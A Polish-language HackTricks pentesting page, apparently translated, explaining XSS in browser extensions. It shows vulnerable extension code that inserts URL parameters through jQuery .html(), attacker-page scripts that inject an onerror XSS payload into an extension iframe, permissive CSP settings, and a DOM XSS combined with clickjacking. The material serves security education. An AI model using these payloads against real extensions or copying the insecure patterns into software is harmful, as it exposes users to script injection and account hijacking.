hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
2024-02-11 01:46:25 +00:00

120 lines
7.5 KiB
Markdown

# BrowExt - Przykład XSS
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## Cross-Site Scripting (XSS) za pomocą Iframe
W tej konfiguracji, **skrypt treści** jest implementowany w celu utworzenia Iframe, w którym zawarta jest URL z parametrami zapytania jako źródło Iframe:
```javascript
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});
```
Jest publicznie dostępna strona HTML o nazwie **`message.html`**, która dynamicznie dodaje zawartość do ciała dokumentu na podstawie parametrów w adresie URL:
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});
```
Wykonuje się złośliwy skrypt na stronie przeciwnika, modyfikując parametr `content` źródła Iframe, aby wprowadzić **payload XSS**. Osiąga się to poprzez aktualizację źródła Iframe, aby zawierało szkodliwy skrypt:
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
```
Nadmiernie liberalna polityka zabezpieczeń treści, taka jak:
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
pozwala na wykonanie kodu JavaScript, co czyni system podatnym na ataki XSS.
Alternatywnym podejściem do wywołania ataku XSS jest utworzenie elementu Iframe i ustawienie jego źródła tak, aby zawierało szkodliwy skrypt jako parametr `content`:
```javascript
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
```
## DOM-based XSS + ClickJacking
Ten przykład został zaczerpnięty z [oryginalnego wpisu](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
Główny problem wynika z podatności na DOM-based Cross-site Scripting (XSS) znajdującej się w **`/html/bookmarks.html`**. Problematyczny kod JavaScript, będący częścią **`bookmarks.js`**, jest szczegółowo opisany poniżej:
```javascript
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;
var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
```
Ten fragment kodu pobiera **wartość** z pola wejściowego **`txtName`** i używa **konkatenacji ciągów znaków do generowania kodu HTML**, który jest następnie dodawany do DOM za pomocą funkcji `.append()` z biblioteki jQuery.
Zazwyczaj polityka bezpieczeństwa zawartości (CSP) rozszerzenia Chrome uniemożliwia występowanie takich podatności. Jednak ze względu na **relaksację CSP z użyciem 'unsafe-eval'** oraz wykorzystanie metod manipulacji DOM z biblioteki jQuery (które używają [`globalEval()`](https://api.jquery.com/jquery.globaleval/) do przekazywania skryptów do funkcji [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) podczas wstawiania do DOM), nadal istnieje możliwość wykorzystania podatności.
Choć ta podatność jest istotna, jej wykorzystanie zazwyczaj zależy od interakcji użytkownika: odwiedzenia strony, wprowadzenia ataku XSS i aktywacji przycisku "Dodaj".
Aby zwiększyć wykorzystanie tej podatności, wykorzystuje się dodatkową podatność **clickjacking**. Manifest rozszerzenia Chrome zawiera obszerną politykę `web_accessible_resources`:
```json
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
```
Warto zauważyć, że strona **`/html/bookmarks.html`** jest podatna na osadzanie w ramkach, co czyni ją podatną na **clickjacking**. Ta podatność jest wykorzystywana do osadzenia strony w witrynie atakującego, nakładając na nią elementy DOM w celu oszukańczego przeprojektowania interfejsu. Ta manipulacja sprawia, że ofiary nieświadomie oddziałują z podstawowym rozszerzeniem.
## Odwołania
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>